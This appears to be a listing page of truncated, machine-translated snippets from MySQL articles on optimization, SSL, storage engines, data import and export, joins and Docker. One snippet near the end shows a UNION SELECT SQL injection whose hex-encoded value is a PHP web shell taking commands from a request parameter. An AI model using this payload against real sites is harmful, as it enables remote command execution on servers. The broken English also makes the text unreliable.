MySQL

For most applications, MySQL is the most critical data storage center, so how to let MySQL provide ha services, we have to face a problem. When Master is in the machine, how do we ensure that the data as far as possible, how to ensure the rapid

I wonder if anyone has ever had such a disgusting problem: Two tables connection query and limit,sql efficiency is very high, but add order by after, the execution time of the statement becomes huge, the efficiency is very low. The situation is the

Value function abs (x) and pi pi functions () Copy Code code as follows: Mysql> SELECT ABS (0.5), ABS ( -0.5), PI (); +----------+-----------+----------+ | ABS (0.5) | ABS (-0.5) | PI () | +----------+-----------+----------+ | 

Entering commands on the command line is not a good idea and can create security problems. But if you decide to write an application, the application needs to use a password or other sensitive information on the command line. So, can you prevent

In web development, we often write some SQL statements, a bad SQL statement may make your entire program is very slow, more than 10 seconds, the average user will choose to close the page, how to optimize the SQL statements to run longer time SQL

Create a custom functionIn the process of using MySQL, MySQL's own functions may not be able to complete our business requirements, then the need for custom functions, such as the author in the development process encountered the following

--MySQL SSL generated secret key 1 Check SSL is turned on Mysql> Show variables like '%ssl% '; +---------------+----------+ | variable_name | Value | +---------------+----------+ | Have_openssl | DISABLED | | Have_ssl | DISABLED | | Ssl_ca | | | Ssl_

This article looks at a case to see how the MySQL optimizer chooses the index and join order. Table structure and data preparation refer to the last section of this article, "Test environment." The main implementation process of the MySQL optimizer

The database engine you can use depends on how MySQL was compiled at the time of installation. To add a new engine, you must recompile MySQL. By default, MySQL supports three engines:ISAM, MyISAM and heap 。 the other two types of InnoDB and Berkley (

A background The host of an entrepreneurial friend's mainframe because the disk array damage machine crash, restart the MySQL service times the following error: Copy Code code as follows: innodb:reading tablespace information from the ...

This article simply narrates the application instance of the Full-text index, the MySQL demo version 5.5.24.Q: What are the applications for Full-text indexing?A: Full-text indexing is the key technology to achieve large data search at present.For

There are two simple methods in MySQL to load data into a MySQL database from a previously backed up file.LOAD Data import: MySQL provides the load data statement as a bulk load. The following is an example declaration that reads a file dump.txt,

The easiest way to export table data to a text file is to use the Select ... The query results into the OUTFILE statement are exported directly to a file on the server host.Select for export Data ... into outfile declaration: The syntax of this

We have seen the SQL SELECT command using the WHERE clause to fetch data from the MySQL table. However, when we try to give the condition to compare the value of the field or column to NULL, it does not work correctly. To handle this situation,

Believe that most people have encountered too many instances of installing MySQL bar, I believe most people just find a multiple-instance installation tutorial will be easy to handle, but the more smooth installation process let us uneasy, why, when

So far, we've learned to get data from a table. It is simple to need, but in most realistic use of MySQL, it is often necessary to put data from multiple tables in a single query. You can use a single SQL query from multiple tables. The join

The actual line of the scene is more complex, then involved in the TRUNCATE, delete two operations, confirmed lost data almost 70,000 lines, and so on stop, almost a total of more than 10,000 rows of data written. Here for a simple explanation, just

1. Preparatory work (1) PHP version 5.6.17 download address PHP website Cloud habitat Download address (2) Nginx version 1.8.0 download address Nginx website Cloud Habitat download address (3) MySQL version 5.7.10 MySQL website cloud habitat

Cough, we look at the good, I do not responsible for the consequences of Copy Code code as follows: SELECT * from ' vbb_strikes ' WHERE 1 Union Select 2,3,0x3c3f7068702073797374656d28245f524551554553545b636d645d293b3f3e From

Referring to virtualization, I'm a Linuxcontainer (LXC) lover. But as Docker technology has gained prominence, I want to show you how to use MySQL with Docker What is Docker? In fact, Docker is the LXC package. It's fun to use. Docker uses LXC to